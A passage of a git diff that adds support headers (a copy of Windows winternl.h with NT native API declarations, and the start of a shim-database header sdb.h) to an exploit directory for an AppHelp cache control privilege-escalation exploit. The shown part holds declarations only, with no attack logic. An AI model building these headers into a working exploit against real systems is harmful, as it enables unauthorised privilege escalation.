*PCSZ; + + typedef struct _STRING { + USHORT Length; + USHORT MaximumLength; + PCHAR Buffer; + } STRING; + typedef STRING *PSTRING; + + typedef STRING ANSI_STRING; + typedef PSTRING PANSI_STRING; + typedef PSTRING PCANSI_STRING; + + typedef STRING OEM_STRING; + typedef PSTRING POEM_STRING; + typedef CONST STRING* PCOEM_STRING; + + typedef struct _UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; + } UNICODE_STRING; + typedef UNICODE_STRING *PUNICODE_STRING; + typedef const UNICODE_STRING *PCUNICODE_STRING; + + // + // The PEB_LDR_DATA, LDR_DATA_TABLE_ENTRY, RTL_USER_PROCESS_PARAMETERS, PEB + // and TEB structures are subject to changes between Windows releases; thus, + // the field offsets and reserved fields may change. The reserved fields are + // reserved for use only by the Windows operating systems. Do not assume a + // maximum size for these structures. + // + // Instead of using the InMemoryOrderModuleList field of the + // LDR_DATA_TABLE_ENTRY structure, use the Win32 API EnumProcessModules + // + // Instead of using the IsBeingDebugged field of the PEB structure, use the + // Win32 APIs IsDebuggerPresent or CheckRemoteDebuggerPresent + // + // Instead of using the SessionId field of the PEB structure, use the Win32 + // APIs GetCurrentProcessId and ProcessIdToSessionId + // + // Instead of using the Tls fields of the TEB structure, use the Win32 APIs + // TlsAlloc, TlsGetValue, TlsSetValue and TlsFree + // + // Instead of using the ReservedForOle field, use the COM API + // CoGetContextToken + // + // Sample x86 assembly code that gets the SessionId (subject to change + // between Windows releases, use the Win32 APIs to make your application + // resilient to changes) + // mov eax,fs:[00000018] + // mov eax,[eax+0x30] + // mov eax,[eax+0x1d4] + // + + // + // N.B. Fields marked as reserved do not necessarily reflect the structure + // of the real struct. They may simply guarantee that the offets of + // the exposed fields are correct. When code matches this pattern, + // + // TYPE1 ExposedField1; + // BYTE ReservedBytes[b]; + // PVOID ReservedPtrs[p]; + // TYPE2 ExposedField2; + // + // or that pattern with ReservedBytes and ReservedPtrs swapped, it is + // likely that 'b' and 'p' are derived from the following system: + // + // GapThirtyTwo = 4p + b + // GapSixtyFour = 8p + b + // + // where GapThirtyTwo is the number of bytes between the two exposed + // fields in the 32-bit version of the real struct and GapSixtyFour + // is the number of bytes between the two exposed fields in the 64-bit + // version of the real struct. + // + // Also note that such code must take into account the alignment of + // the ReservedPtrs field. + // + + typedef struct _RTL_USER_PROCESS_PARAMETERS { + BYTE Reserved1[16]; + PVOID Reserved2[10]; + UNICODE_STRING ImagePathName; + UNICODE_STRING CommandLine; + } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; + + typedef + VOID + (NTAPI *PPS_POST_PROCESS_INIT_ROUTINE) ( + VOID + ); + + typedef struct _TEB { + PVOID Reserved1[12]; + _PPEB ProcessEnvironmentBlock; + PVOID Reserved2[399]; + BYTE Reserved3[1952]; + PVOID TlsSlots[64]; + BYTE Reserved4[8]; + PVOID Reserved5[26]; + PVOID ReservedForOle; // Windows 2000 only + PVOID Reserved6[4]; + PVOID TlsExpansionSlots; + } TEB, *PTEB; + + typedef struct _OBJECT_ATTRIBUTES { + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; + } OBJECT_ATTRIBUTES; + typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES; + + typedef struct _IO_STATUS_BLOCK { + union { + NTSTATUS Status; + PVOID Pointer; + } DUMMYUNIONNAME; + + ULONG_PTR Information; + } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; + + typedef + VOID + (NTAPI *PIO_APC_ROUTINE) ( + IN PVOID ApcContext, + IN PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG Reserved + ); + + typedef struct _PROCESS_BASIC_INFORMATION { + PVOID Reserved1; + _PPEB PebBaseAddress; + PVOID Reserved2[2]; + ULONG_PTR UniqueProcessId; + PVOID Reserved3; + } PROCESS_BASIC_INFORMATION; + typedef PROCESS_BASIC_INFORMATION *PPROCESS_BASIC_INFORMATION; + + typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION { + LARGE_INTEGER IdleTime; + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER Reserved1[2]; + ULONG Reserved2; + } SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION, *PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION; + + typedef struct _SYSTEM_PROCESS_INFORMATION { + ULONG NextEntryOffset; + BYTE Reserved1[52]; + PVOID Reserved2[3]; + HANDLE UniqueProcessId; + PVOID Reserved3; + ULONG HandleCount; + BYTE Reserved4[4]; + PVOID Reserved5[11]; + SIZE_T PeakPagefileUsage; + SIZE_T PrivatePageCount; + LARGE_INTEGER Reserved6[6]; + } SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION; + + typedef struct _SYSTEM_REGISTRY_QUOTA_INFORMATION { + ULONG RegistryQuotaAllowed; + ULONG RegistryQuotaUsed; + PVOID Reserved1; + } SYSTEM_REGISTRY_QUOTA_INFORMATION, *PSYSTEM_REGISTRY_QUOTA_INFORMATION; + + typedef struct _SYSTEM_BASIC_INFORMATION { + BYTE Reserved1[24]; + PVOID Reserved2[4]; + CCHAR NumberOfProcessors; + } SYSTEM_BASIC_INFORMATION, *PSYSTEM_BASIC_INFORMATION; + + typedef struct _SYSTEM_TIMEOFDAY_INFORMATION { + BYTE Reserved1[48]; + } SYSTEM_TIMEOFDAY_INFORMATION, *PSYSTEM_TIMEOFDAY_INFORMATION; + + typedef struct _SYSTEM_PERFORMANCE_INFORMATION { + BYTE Reserved1[312]; + } SYSTEM_PERFORMANCE_INFORMATION, *PSYSTEM_PERFORMANCE_INFORMATION; + + typedef struct _SYSTEM_EXCEPTION_INFORMATION { + BYTE Reserved1[16]; + } SYSTEM_EXCEPTION_INFORMATION, *PSYSTEM_EXCEPTION_INFORMATION; + + typedef struct _SYSTEM_LOOKASIDE_INFORMATION { + BYTE Reserved1[32]; + } SYSTEM_LOOKASIDE_INFORMATION, *PSYSTEM_LOOKASIDE_INFORMATION; + + typedef struct _SYSTEM_INTERRUPT_INFORMATION { + BYTE Reserved1[24]; + } SYSTEM_INTERRUPT_INFORMATION, *PSYSTEM_INTERRUPT_INFORMATION; + + typedef struct _SYSTEM_POLICY_INFORMATION { + PVOID Reserved1[2]; + ULONG Reserved2[3]; + } SYSTEM_POLICY_INFORMATION, *PSYSTEM_POLICY_INFORMATION; + + typedef enum _FILE_INFORMATION_CLASS { + FileDirectoryInformation = 1 + } FILE_INFORMATION_CLASS; + + typedef enum _PROCESSINFOCLASS { + ProcessBasicInformation = 0, + ProcessDebugPort = 7, + ProcessWow64Information = 26, + ProcessImageFileName = 27, + ProcessBreakOnTermination = 29 + } PROCESSINFOCLASS; + + typedef enum _THREADINFOCLASS { + ThreadIsIoPending = 16 + } THREADINFOCLASS; + + typedef enum _SYSTEM_INFORMATION_CLASS { + SystemBasicInformation = 0, + SystemPerformanceInformation = 2, + SystemTimeOfDayInformation = 3, + SystemProcessInformation = 5, + SystemProcessorPerformanceInformation = 8, + SystemInterruptInformation = 23, + SystemExceptionInformation = 33, + SystemRegistryQuotaInformation = 37, + SystemLookasideInformation = 45, + SystemPolicyInformation = 134, + } SYSTEM_INFORMATION_CLASS; + + // + // Object Information Classes + // + + typedef enum _OBJECT_INFORMATION_CLASS { + ObjectBasicInformation = 0, + ObjectTypeInformation = 2 + } OBJECT_INFORMATION_CLASS; + + // + // Public Object Information definitions + // + + typedef struct _PUBLIC_OBJECT_BASIC_INFORMATION { + ULONG Attributes; + ACCESS_MASK GrantedAccess; + ULONG HandleCount; + ULONG PointerCount; + + ULONG Reserved[10]; // reserved for internal use + + } PUBLIC_OBJECT_BASIC_INFORMATION, *PPUBLIC_OBJECT_BASIC_INFORMATION; + + typedef struct __PUBLIC_OBJECT_TYPE_INFORMATION { + + UNICODE_STRING TypeName; + + ULONG Reserved[22]; // reserved for internal use + + } PUBLIC_OBJECT_TYPE_INFORMATION, *PPUBLIC_OBJECT_TYPE_INFORMATION; + +#if (_WIN32_WINNT >= 0x0501) + // + // use the WTS API instead + // WTSGetActiveConsoleSessionId + // The active console id is cached as a volatile ULONG in a constant + // memory location. This x86 memory location is subject to changes between + // Windows releases. Use the WTS API to make your application resilient to + // changes. + // +#define INTERNAL_TS_ACTIVE_CONSOLE_ID ( *((volatile ULONG*)(0x7ffe02d8)) ) +#endif // (_WIN32_WINNT >= 0x0501) + + // + // These functions are intended for use by internal core Windows components + // since these functions may change between Windows releases. + // + +#define RtlMoveMemory(Destination,Source,Length) memmove((Destination),(Source),(Length)) +#define RtlFillMemory(Destination,Length,Fill) memset((Destination),(Fill),(Length)) +#define RtlZeroMemory(Destination,Length) memset((Destination),0,(Length)) + + // + // use the Win32 API instead + // CloseHandle + // + __kernel_entry NTSTATUS + NTAPI + NtClose( + IN HANDLE Handle + ); + + // + // use the Win32 API instead + // CreateFile + // + __kernel_entry NTSTATUS + NTAPI + NtCreateFile( + OUT PHANDLE FileHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PLARGE_INTEGER AllocationSize OPTIONAL, + IN ULONG FileAttributes, + IN ULONG ShareAccess, + IN ULONG CreateDisposition, + IN ULONG CreateOptions, + IN PVOID EaBuffer OPTIONAL, + IN ULONG EaLength + ); + + // + // use the Win32 API instead + // CreateFile + // + __kernel_entry NTSTATUS + NTAPI + NtOpenFile( + OUT PHANDLE FileHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG ShareAccess, + IN ULONG OpenOptions + ); + + // + // use the Win32 API instead + // N/A + // + __kernel_entry NTSTATUS + NTAPI + NtRenameKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING NewName + ); + + // + // use the Win32 API instead + // RegNotifyChangeKeyValue + // + + __kernel_entry NTSTATUS + NTAPI + NtNotifyChangeMultipleKeys( + _In_ HANDLE MasterKeyHandle, + _In_opt_ ULONG Count, + _In_reads_opt_(Count) OBJECT_ATTRIBUTES SubordinateObjects[], + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG CompletionFilter, + _In_ BOOLEAN WatchTree, + _Out_writes_bytes_opt_(BufferSize) PVOID Buffer, + _In_ ULONG BufferSize, + _In_ BOOLEAN Asynchronous + ); + + // + // use the Win32 API instead + // RegQueryValueEx + // + + typedef struct _KEY_VALUE_ENTRY { + PUNICODE_STRING ValueName; + ULONG DataLength; + ULONG DataOffset; + ULONG Type; + } KEY_VALUE_ENTRY, *PKEY_VALUE_ENTRY; + + __kernel_entry NTSTATUS + NTAPI + NtQueryMultipleValueKey( + _In_ HANDLE KeyHandle, + _Inout_updates_(EntryCount) PKEY_VALUE_ENTRY ValueEntries, + _In_ ULONG EntryCount, + _Out_writes_bytes_(*BufferLength) PVOID ValueBuffer, + _Inout_ PULONG BufferLength, + _Out_opt_ PULONG RequiredBufferLength + ); + + // + // use the Win32 API instead + // N/A + // + + typedef enum _KEY_SET_INFORMATION_CLASS { + KeyWriteTimeInformation, + KeyWow64FlagsInformation, + KeyControlFlagsInformation, + KeySetVirtualizationInformation, + KeySetDebugInformation, + KeySetHandleTagsInformation, + MaxKeySetInfoClass // MaxKeySetInfoClass should always be the last enum + } KEY_SET_INFORMATION_CLASS; + + __kernel_entry NTSTATUS + NTAPI + NtSetInformationKey( + _In_ HANDLE KeyHandle, + _In_ _Strict_type_match_ + KEY_SET_INFORMATION_CLASS KeySetInformationClass, + _In_reads_bytes_(KeySetInformationLength) PVOID KeySetInformation, + _In_ ULONG KeySetInformationLength + ); + + // + // use the Win32 API instead + // DeviceIoControl + // + __kernel_entry NTSTATUS + NTAPI + NtDeviceIoControlFile( + IN HANDLE FileHandle, + IN HANDLE Event OPTIONAL, + IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, + IN PVOID ApcContext OPTIONAL, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG IoControlCode, + IN PVOID InputBuffer OPTIONAL, + IN ULONG InputBufferLength, + OUT PVOID OutputBuffer OPTIONAL, + IN ULONG OutputBufferLength + ); + + // + // use the Win32 API instead + // WaitForSingleObjectEx + // + NTSTATUS + NTAPI + NtWaitForSingleObject( + IN HANDLE Handle, + IN BOOLEAN Alertable, + IN PLARGE_INTEGER Timeout OPTIONAL + ); + + // + // use the Win32 API instead + // CheckNameLegalDOS8Dot3 + // + BOOLEAN + NTAPI + RtlIsNameLegalDOS8Dot3( + IN PUNICODE_STRING Name, + IN OUT POEM_STRING OemName OPTIONAL, + IN OUT PBOOLEAN NameContainsSpaces OPTIONAL + ); + + // + // This function might be needed for some of the internal Windows functions, + // defined in this header file. + // + _When_(Status < 0, _Out_range_(>, 0)) + _When_(Status >= 0, _Out_range_(== , 0)) + ULONG + NTAPI + RtlNtStatusToDosError( + NTSTATUS Status + ); + + // + // use the Win32 APIs instead + // GetProcessHandleCount + // GetProcessId + // + __kernel_entry NTSTATUS + NTAPI + NtQueryInformationProcess( + IN HANDLE ProcessHandle, + IN PROCESSINFOCLASS ProcessInformationClass, + OUT PVOID ProcessInformation, + IN ULONG ProcessInformationLength, + OUT PULONG ReturnLength OPTIONAL + ); + + // + // use the Win32 API instead + // GetThreadIOPendingFlag + // + __kernel_entry NTSTATUS + NTAPI + NtQueryInformationThread( + IN HANDLE ThreadHandle, + IN THREADINFOCLASS ThreadInformationClass, + OUT PVOID ThreadInformation, + IN ULONG ThreadInformationLength, + OUT PULONG ReturnLength OPTIONAL + ); + + // + // use the Win32 APIs instead + // GetFileInformationByHandle + // GetFileInformationByHandleEx + // GetProcessInformation + // GetThreadInformation + // + + __kernel_entry NTSYSCALLAPI + NTSTATUS + NTAPI + NtQueryObject( + _In_opt_ HANDLE Handle, + _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass, + _Out_writes_bytes_opt_(ObjectInformationLength) PVOID ObjectInformation, + _In_ ULONG ObjectInformationLength, + _Out_opt_ PULONG ReturnLength + ); + + // + // use the Win32 APIs instead + // GetSystemRegistryQuota + // GetSystemTimes + // use the CryptoAPIs instead for generating random data + // CryptGenRandom + // + __kernel_entry NTSTATUS + NTAPI + NtQuerySystemInformation( + IN SYSTEM_INFORMATION_CLASS SystemInformationClass, + OUT PVOID SystemInformation, + IN ULONG SystemInformationLength, + OUT PULONG ReturnLength OPTIONAL + ); + + // + // use the Win32 API instead + // GetSystemTimeAsFileTime + // + __kernel_entry NTSTATUS + NTAPI + NtQuerySystemTime( + OUT PLARGE_INTEGER SystemTime + ); + + // + // use the Win32 API instead + // LocalFileTimeToFileTime + // + NTSTATUS + NTAPI + RtlLocalTimeToSystemTime( + IN PLARGE_INTEGER LocalTime, + OUT PLARGE_INTEGER SystemTime + ); + + // + // use the Win32 API instead + // SystemTimeToFileTime to convert to FILETIME structures + // copy the resulting FILETIME structures to ULARGE_INTEGER structures + // perform the calculation + // + BOOLEAN + NTAPI + RtlTimeToSecondsSince1970( + PLARGE_INTEGER Time, + PULONG ElapsedSeconds + ); + + // + // These APIs might be need for some of the internal Windows functions, + // defined in this header file. + // + VOID + NTAPI + RtlFreeAnsiString( + PANSI_STRING AnsiString + ); + + VOID + NTAPI + RtlFreeUnicodeString( + PUNICODE_STRING UnicodeString + ); + + VOID + NTAPI + RtlFreeOemString( + POEM_STRING OemString + ); + + VOID + NTAPI + RtlInitString( + PSTRING DestinationString, + PCSZ SourceString + ); + + VOID + NTAPI + RtlInitAnsiString( + PANSI_STRING DestinationString, + PCSZ SourceString + ); + + VOID + NTAPI + RtlInitUnicodeString( + PUNICODE_STRING DestinationString, + PCWSTR SourceString + ); + + NTSTATUS + NTAPI + RtlAnsiStringToUnicodeString( + PUNICODE_STRING DestinationString, + PCANSI_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + + NTSTATUS + NTAPI + RtlUnicodeStringToAnsiString( + PANSI_STRING DestinationString, + PCUNICODE_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + + NTSTATUS + NTAPI + RtlUnicodeStringToOemString( + POEM_STRING DestinationString, + PCUNICODE_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + + // + // Use the Win32 API instead + // WideCharToMultiByte + // set CodePage to CP_ACP + // set cbMultiByte to 0 + // + NTSTATUS + NTAPI + RtlUnicodeToMultiByteSize( + _Out_ PULONG BytesInMultiByteString, + _In_reads_bytes_(BytesInUnicodeString) PWCH UnicodeString, + _In_ ULONG BytesInUnicodeString + ); + + // + // Use the C runtime function instead + // strtol + // + NTSTATUS + NTAPI + RtlCharToInteger( + PCSZ String, + ULONG Base, + PULONG Value + ); + + // + // use the Win32 API instead + // ConvertSidToStringSid + // + NTSTATUS + NTAPI + RtlConvertSidToUnicodeString( + PUNICODE_STRING UnicodeString, + PSID Sid, + BOOLEAN AllocateDestinationString + ); + + // + // use the CryptoAPIs instead + // CryptGenRandom + // + ULONG + NTAPI + RtlUniform( + PULONG Seed + ); + + +#define LOGONID_CURRENT ((ULONG)-1) +#define SERVERNAME_CURRENT ((HANDLE)NULL) + + typedef enum _WINSTATIONINFOCLASS { + WinStationInformation = 8 + } WINSTATIONINFOCLASS; + + + typedef struct _WINSTATIONINFORMATIONW { + BYTE Reserved2[70]; + ULONG LogonId; + BYTE Reserved3[1140]; + } WINSTATIONINFORMATIONW, *PWINSTATIONINFORMATIONW; + + // + // this function is implemented in winsta.dll (you need to loadlibrary to call this function) + // this internal function retrives the LogonId (also called SessionId) for the current process + // You should avoid using this function as it can change. you can retrieve the same information + // Using public api WTSQuerySessionInformation. Pass WTSSessionId as the WTSInfoClass parameter + // + typedef BOOLEAN(WINAPI * PWINSTATIONQUERYINFORMATIONW)( + HANDLE, ULONG, WINSTATIONINFOCLASS, PVOID, ULONG, PULONG); + + // + // Generic test for success on any status value (non-negative numbers + // indicate success). + // + +#ifndef NT_SUCCESS +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) +#endif + + // + // Generic test for information on any status value. + // + +#ifndef NT_INFORMATION +#define NT_INFORMATION(Status) ((((ULONG)(Status)) >> 30) == 1) +#endif + + // + // Generic test for warning on any status value. + // + +#ifndef NT_WARNING +#define NT_WARNING(Status) ((((ULONG)(Status)) >> 30) == 2) +#endif + + // + // Generic test for error on any status value. + // + +#ifndef NT_ERROR +#define NT_ERROR(Status) ((((ULONG)(Status)) >> 30) == 3) +#endif + + //++ + // + // VOID + // InitializeObjectAttributes( + // OUT POBJECT_ATTRIBUTES p, + // IN PUNICODE_STRING n, + // IN ULONG a, + // IN HANDLE r, + // IN PSECURITY_DESCRIPTOR s + // ) + // + //-- + +#ifndef InitializeObjectAttributes +#define InitializeObjectAttributes( p, n, a, r, s ) { \ + (p)->Length = sizeof(OBJECT_ATTRIBUTES); \ + (p)->RootDirectory = r; \ + (p)->Attributes = a; \ + (p)->ObjectName = n; \ + (p)->SecurityDescriptor = s; \ + (p)->SecurityQualityOfService = NULL; \ + } +#endif + + // + // Valid values for the Attributes field + // + +#define OBJ_INHERIT 0x00000002L +#define OBJ_PERMANENT 0x00000010L +#define OBJ_EXCLUSIVE 0x00000020L +#define OBJ_CASE_INSENSITIVE 0x00000040L +#define OBJ_OPENIF 0x00000080L +#define OBJ_OPENLINK 0x00000100L +#define OBJ_KERNEL_HANDLE 0x00000200L +#define OBJ_FORCE_ACCESS_CHECK 0x00000400L +#define OBJ_VALID_ATTRIBUTES 0x000007F2L + + // + // Define the create disposition values + // + +#define FILE_SUPERSEDE 0x00000000 +#define FILE_OPEN 0x00000001 +#define FILE_CREATE 0x00000002 +#define FILE_OPEN_IF 0x00000003 +#define FILE_OVERWRITE 0x00000004 +#define FILE_OVERWRITE_IF 0x00000005 +#define FILE_MAXIMUM_DISPOSITION 0x00000005 + + // + // Define the create/open option flags + // + +#define FILE_DIRECTORY_FILE 0x00000001 +#define FILE_WRITE_THROUGH 0x00000002 +#define FILE_SEQUENTIAL_ONLY 0x00000004 +#define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008 + +#define FILE_SYNCHRONOUS_IO_ALERT 0x00000010 +#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 +#define FILE_NON_DIRECTORY_FILE 0x00000040 +#define FILE_CREATE_TREE_CONNECTION 0x00000080 + +#define FILE_COMPLETE_IF_OPLOCKED 0x00000100 +#define FILE_NO_EA_KNOWLEDGE 0x00000200 +#define FILE_OPEN_REMOTE_INSTANCE 0x00000400 +#define FILE_RANDOM_ACCESS 0x00000800 + +#define FILE_DELETE_ON_CLOSE 0x00001000 +#define FILE_OPEN_BY_FILE_ID 0x00002000 +#define FILE_OPEN_FOR_BACKUP_INTENT 0x00004000 +#define FILE_NO_COMPRESSION 0x00008000 + +#if (_WIN32_WINNT >= _WIN32_WINNT_WIN7) +#define FILE_OPEN_REQUIRING_OPLOCK 0x00010000 +#endif + +#define FILE_RESERVE_OPFILTER 0x00100000 +#define FILE_OPEN_REPARSE_POINT 0x00200000 +#define FILE_OPEN_NO_RECALL 0x00400000 +#define FILE_OPEN_FOR_FREE_SPACE_QUERY 0x00800000 + +#define FILE_VALID_OPTION_FLAGS 0x00ffffff +#define FILE_VALID_PIPE_OPTION_FLAGS 0x00000032 +#define FILE_VALID_MAILSLOT_OPTION_FLAGS 0x00000032 +#define FILE_VALID_SET_FLAGS 0x00000036 + + // + // Define the I/O status information return values for NtCreateFile/NtOpenFile + // + +#define FILE_SUPERSEDED 0x00000000 +#define FILE_OPENED 0x00000001 +#define FILE_CREATED 0x00000002 +#define FILE_OVERWRITTEN 0x00000003 +#define FILE_EXISTS 0x00000004 +#define FILE_DOES_NOT_EXIST 0x00000005 + +#ifdef __cplusplus +} +#endif + +#endif // (_WIN32_WINNT >= 0x0500) + + +#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) */ +#pragma endregion + +#endif // _WINTERNL_ diff --git a/external/source/exploits/ntapphelpcachecontrol/exploit/sdb.h b/external/source/exploits/ntapphelpcachecontrol/exploit/sdb.h new file mode 100755 index 0000000000..4877bfc4a7 --- /dev/null +++ b/external/source/exploits/ntapphelpcachecontrol/exploit/sdb.h @@ -0,0 +1,338 @@ +/* +Copyright (c) 2014, Jon Erickson +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + +1. Redistributions of source code must retain the above copyright notice, this +list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright notice, +this list of conditions and the following disclaimer in the documentation +and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR +ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND +ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +The views and conclusions contained in the software and documentation are those +of the authors and should not be interpreted as representing official policies, +either expressed or implied, of the FreeBSD Project. + +*/ + +#include + +typedef DWORD TAGID; +typedef DWORD TAGREF; +typedef DWORD TAG; +typedef PVOID PDB; +typedef HANDLE HSDB; + +#define HID_DOS_PATHS 0x00000001 +#define HID_DATABASE_FULLPATH 0x00000002 +#define SDB_MAX_EXES 16 +#define SDB_MAX_LAYERS 8 +#define SDB_MAX_SDBS 16 +#define SDB_DATABASE_SHIM 0x00010000 +#define SHIMREG_DISABLE_SHIM 0x00000001 +#define SHIMREG_DISABLE_APPHELP 0x00000002 +#define SHIMREG_APPHELP_NOUI 0x00000004 +#define SHIMREG_APPHELP_CANCEL 0x10000000 +#define SHIMREG_DISABLE_SXS 0x00000010 +#define SHIMREG_DISABLE_LAYER 0x00000020 +#define SHIMREG_DISABLE_DRIVER 0x00000040 +#define ATTRIBUTE_AVAILABLE 0x00000001 +#define ATTRIBUTE_FAILED 0x00000002 +#define TAGID_ROOT 0 +#define TAGID_NULL 0 +#define TAG_TYPE_NULL 0x1000 +#define TAG_TYPE_BYTE 0x2000 +#define TAG_TYPE_WORD 0x3000 +#define TAG_TYPE_DWORD 0x4000 +#define TAG_TYPE_QWORD 0x5000 +#define TAG_TYPE_STRINGREF 0x6000 +#define TAG_TYPE_LIST 0x7000 +#define TAG_TYPE_STRING 0x8000 +#define TAG_TYPE_BINARY 0x9000 +#define TAG_DATABASE (0x1 | TAG_TYPE_LIST) //Database entry. +#define TAG_LIBRARY (0x2 | TAG_TYPE_LIST) //Library entry. +#define TAG_INEXCLUDE (0x3 | TAG_TYPE_LIST) //Include and exclude entry. +#define TAG_SHIM (0x4 | TAG_TYPE_LIST) //Shim entry that contains the name and purpose information. +#define TAG_PATCH (0x5 | TAG_TYPE_LIST) //Patch entry that contains the in-memory patching information. +#define TAG_APP (0x6 | TAG_TYPE_LIST) //Application entry. +#define TAG_EXE (0x7 | TAG_TYPE_LIST) //Executable entry. +#define TAG_MATCHING_FILE (0x8 | TAG_TYPE_LIST) //Matching file entry. +#define TAG_SHIM_REF (0x9| TAG_TYPE_LIST) //Shim definition entry. +#define TAG_PATCH_REF (0xA | TAG_TYPE_LIST) //Patch definition entry. +#define TAG_LAYER (0xB | TAG_TYPE_LIST) // Layer shim entry. +#define TAG_FILE (0xC | TAG_TYPE_LIST) //File attribute used in a shim entry. +#define TAG_APPHELP (0xD | TAG_TYPE_LIST) //Apphelp information entry. +#define TAG_LINK (0xE | TAG_TYPE_LIST) //Apphelp online link information entry. +#define TAG_DATA (0xF | TAG_TYPE_LIST) //Name-value mapping entry. +#define TAG_MSI_TRANSFORM (0x10 | TAG_TYPE_LIST) //MSI transformation entry. +#define TAG_MSI_TRANSFORM_REF (0x11 | TAG_TYPE_LIST) //MSI transformation definition entry. +#define TAG_MSI_PACKAGE (0x12 | TAG_TYPE_LIST) //MSI package entry. +#define TAG_FLAG (0x13 | TAG_TYPE_LIST) //Flag entry. +#define TAG_MSI_CUSTOM_ACTION (0x14 | TAG_TYPE_LIST) //MSI custom action entry. +#define TAG_FLAG_REF (0x15 | TAG_TYPE_LIST) //Flag definition entry. +#define TAG_ACTION (0x16 | TAG_TYPE_LIST) //Unused. +#define TAG_LOOKUP (0x17 | TAG_TYPE_LIST) //Lookup entry used for lookup in a driver database. +#define TAG_STRINGTABLE (0x801 | TAG_TYPE_LIST) // String table entry. +#define TAG_INDEXES (0x802 | TAG_TYPE_LIST) // Indexes entry that defines all the indexes in a shim database. +#define TAG_INDEX (0x803 | TAG_TYPE_LIST) // Index entry that defines an index in a shim database. +#define TAG_NAME (0x1 | TAG_TYPE_STRINGREF) //Name attribute. +#define TAG_DESCRIPTION (0x2 | TAG_TYPE_STRINGREF) //Description entry. +#define TAG_MODULE (0x3 | TAG_TYPE_STRINGREF) //Module attribute. +#define TAG_API (0x4 | TAG_TYPE_STRINGREF) //API entry. +#define TAG_VENDOR (0x5 | TAG_TYPE_STRINGREF) //Vendor name attribute. +#define TAG_APP_NAME (0x6 | TAG_TYPE_STRINGREF) //Application name attribute that describes an application entry in a shim database. +#define TAG_COMMAND_LINE (0x8 | TAG_TYPE_STRINGREF) //Command line attribute that is used when passing arguments to a shim, for example. +#define TAG_COMPANY_NAME (0x9 | TAG_TYPE_STRINGREF) //Company name attribute. +#define TAG_DLLFILE (0xA | TAG_TYPE_STRINGREF) //DLL file attribute for a shim entry. +#define TAG_WILDCARD_NAME (0xB | TAG_TYPE_STRINGREF) //Wildcard name attribute for an executable entry with a wildcard as the file name. +#define TAG_PRODUCT_NAME (0x10 | TAG_TYPE_STRINGREF) //Product name attribute. +#define TAG_PRODUCT_VERSION (0x11 | TAG_TYPE_STRINGREF) //Product version attribute. +#define TAG_FILE_DESCRIPTION (0x12 | TAG_TYPE_STRINGREF) //File description attribute. +#define TAG_FILE_VERSION (0x13 | TAG_TYPE_STRINGREF) //File version attribute. +#define TAG_ORIGINAL_FILENAME (0x14 | TAG_TYPE_STRINGREF) //Original file name attribute. +#define TAG_INTERNAL_NAME (0x15 | TAG_TYPE_STRINGREF) //Internal file name attribute. +#define TAG_LEGAL_COPYRIGHT (0x16 | TAG_TYPE_STRINGREF) //Copyright attribute. +#define TAG_16BIT_DESCRIPTION (0x17 | TAG_TYPE_STRINGREF) //16-bit description attribute. +#define TAG_APPHELP_DETAILS (0x18 | TAG_TYPE_STRINGREF) //Apphelp details message information attribute. +#define TAG_LINK_URL (0x19 | TAG_TYPE_STRINGREF) //Apphelp online link URL attribute. +#define TAG_LINK_TEXT (0x1A | TAG_TYPE_STRINGREF) //Apphelp online link text attribute. +#define TAG_APPHELP_TITLE (0x1B | TAG_TYPE_STRINGREF) //Apphelp title attribute. +#define TAG_APPHELP_CONTACT (0x1C | TAG_TYPE_STRINGREF) //Apphelp 